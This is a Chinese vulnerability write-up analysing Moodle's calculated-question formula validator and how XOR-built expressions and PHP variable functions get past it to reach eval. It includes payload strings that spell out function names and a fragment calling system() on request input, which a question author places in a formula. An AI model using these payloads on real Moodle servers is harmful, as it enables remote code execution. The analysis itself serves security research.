文章作者:奇安信攻防社区(中铁13层打工人)
文章来源:https://forum.butian.net/share/4130
Moodle(moodle.org)是一个开源的在线教育系统(慕课)。采用PHP+Mysql开发,界面友好,符合SCORM/AICC标准。以功能强大、而界面简单、精巧而著称。它是eLearning技术先驱,是先进在线教学理念和实践的集大成者,已成为全球大中学院校建立开放式课程系统的首选软件。主要模块:课程管理、作业模块、聊天模块、投票模块、论坛模块、测验模块、资源模块、问卷调查模块、互动评价(workshop)。Moodle具有先进的教学理念,创设的虚拟学习环境中有三个维度:技术管理维度、学习任务维度和社会交往维度,以社会建构主义教学法为其设计的理论基础,它提倡师生或学生彼此间共同思考,合作解决问题。
public function calculate($expression) {
// Make sure no malicious code is present in the expression. Refer MDL-46148 for details.
if ($error = qtype_calculated_find_formula_errors($expression)) {
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error);
}
$expression = $this->substitute_values_for_eval($expression);
if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) {
// Some placeholders were not substituted.
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '',
'{' . reset($datasets) . '}');
}
return $this->calculate_raw($expression);
}
protected function calculate_raw($expression) {
try {
// In older PHP versions this this is a way to validate code passed to eval.
// The trick came from http://php.net/manual/en/function.eval.php.
if (@eval('return true; $result = ' . $expression . ';')) {
return eval('return ' . $expression . ';');
}
} catch (Throwable $e) {
// PHP7 and later now throws ParseException and friends from eval(),
// which is much better.
}
// In either case of an invalid $expression, we end here.
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression);
}
function qtype_calculated_find_formula_errors($formula) {
foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) {
if (strpos($formula, $commentstart) !== false) {
return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart);
}
}
// Validates the formula submitted from the question edit page.
// Returns false if everything is alright
// otherwise it constructs an error message.
// Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}.
$formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);
// Strip away empty space and lowercase it.
$formula = strtolower(str_replace(' ', '', $formula));
-
foreach是用来检测公式中是否有php标签,如果存在就报错 -
将公式中变量,如{a}替换为1.0,该正则是匹配{}括号中必须以字母开头,同时并不能存在>} <{"'字符串 -
将公式转换为小写并删除空格
$safeoperatorchar = '-+/*%>:^~<?=&|!'; /* */
$operatorornumber = "[{$safeoperatorchar}.0-9eE]";
while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" .
"\(({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\)~",$formula, $regs)) {
switch ($regs[2]) {
// Simple parenthesis.
case '':
if ((isset($regs[4]) && $regs[4]) || strlen($regs[3]) == 0) {
return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
}
break;
// Zero argument functions.
case 'pi':
if (array_key_exists(3, $regs)) {
return get_string('functiontakesnoargs', 'qtype_calculated', $regs[2]);
}
break;
// Single argument functions (the most common case).
case 'abs': case 'acos': case 'acosh': case 'asin': case 'asinh':
case 'atan': case 'atanh': case 'bindec': case 'ceil': case 'cos':
case 'cosh': case 'decbin': case 'decoct': case 'deg2rad':
case 'exp': case 'expm1': case 'floor': case 'is_finite':
case 'is_infinite': case 'is_nan': case 'log10': case 'log1p':
case 'octdec': case 'rad2deg': case 'sin': case 'sinh': case 'sqrt':
case 'tan': case 'tanh':
if (!empty($regs[4]) || empty($regs[3])) {
return get_string('functiontakesonearg', 'qtype_calculated', $regs[2]);
}
break;
// Functions that take one or two arguments.
case 'log': case 'round':
if (!empty($regs[5]) || empty($regs[3])) {
return get_string('functiontakesoneortwoargs', 'qtype_calculated', $regs[2]);
}
break;
// Functions that must have two arguments.
case 'atan2': case 'fmod': case 'pow':
if (!empty($regs[5]) || empty($regs[4])) {
return get_string('functiontakestwoargs', 'qtype_calculated', $regs[2]);
}
break;
// Functions that take two or more arguments.
case 'min': case 'max':
if (empty($regs[4])) {
return get_string('functiontakesatleasttwo', 'qtype_calculated', $regs[2]);
}
break;
default:
return get_string('unsupportedformulafunction', 'qtype_calculated', $regs[2]);
}
// Exchange the function call with '1.0' and then check for
// another function call...
if ($regs[1]) {
// The function call is proceeded by an operator.
$formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
} else {
// The function call starts the formula.
$formula = preg_replace('~^' . preg_quote($regs[2], '~') . '([^)]*)~', '1.0', $formula);
}
}
这个正则表达式用于匹配一个包含标识符和参数的函数调用格式。具体来说,它匹配以下内容:
1.开头部分:
^ 或者一个运算符或括号:[-+/*%>:^~<?=&|!,(]。
2. 标识符部分:
紧接着是由小写字母、数字或下划线组成的字符串 [a-z0-9_]*。
3. 函数调用括号:
然后是一个开括号 (。
4.函数参数部分:
括号内可以包含一个或多个符合 [-+/*%>:^~<?=&|!.0-9eE] 的项,这些项之间用逗号分隔,并且可以有多层嵌套。
总结来说,这个正则表达式匹配的是像 func(a, 1.5, +2) 这样的函数调用,其中 func 是一个标识符,括号内包含由运算符和数字组成的参数。
$formula="func(1)"
$regs=Array
(
[0] => func(1)
[1] =>
[2] => func
[3] => 1
)
$formula="*func(1,2)"
$regs=Array
(
[0] => func(1,2)
[1] => *
[2] => func
[3] => 1,2
[4] => ,2
)
-
$regs[0]:匹配到整个函数调用,如果前面有运算符或者括号也会被匹配到 -
$regs[1]:方法名前的运算符或者括号 -
$regs[2]:方法名 -
$regs[3]...:函数参数部分
if ($regs[1]) {
// The function call is proceeded by an operator.
$formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
} else {
// The function call starts the formula.
$formula = preg_replace('~^' . preg_quote($regs[2], '~') . '([^)]*)~', '1.0',$formula);
}
if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
} else {
// Formula just might be valid.
return false;
}
$safeoperatorchar = '-+/*%>:^~<?=&|!';
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)
==>
NAN1 ^ 000 ^ 111
按位XOR==>
"N":0100 1110
"0":0011 0000
--------------
"~":0111 1110
"1":0011 0001
--------------
"O":0100 1111
A: 0100 0001
-: 0010 1101
8: 0011 1000
------------
T: 0101 0100
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0)
==> "PRINF"
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)[任意运算符]() right
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)() error
/**
* Substitute variable placehodlers like {a} with their value wrapped in ().
* @param string $expression the expression. A PHP expression with placeholders
* like {a} for where the variables need to go.
* @return string the expression with each placeholder replaced by the
* corresponding value.
*/
protected function substitute_values_for_eval($expression) {
return str_replace($this->search, $this->safevalue, $expression);
}
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0){a}
==> "prinf"{a} ===> "prinf"(a) ==> prinf(1)
((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0))
// Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}.
$formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);
/**
* Substitute variable placehodlers like {a} with their value wrapped in ().
* @param string $expression the expression. A PHP expression with placeholders
* like {a} for where the variables need to go.
* @return string the expression with each placeholder replaced by the
* corresponding value.
*/
protected function substitute_values_for_eval($expression) {
return str_replace($this->search, $this->safevalue, $expression);
}
$_GET[chr(97)])} {system(
首先在题库中创建题目,并将公式改成payload
欢迎访问,注册获取全量网安资源👇
https://www.libaisec.com/
原文始发于微信公众号(李白你好):巧用异或绕过限制导致RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论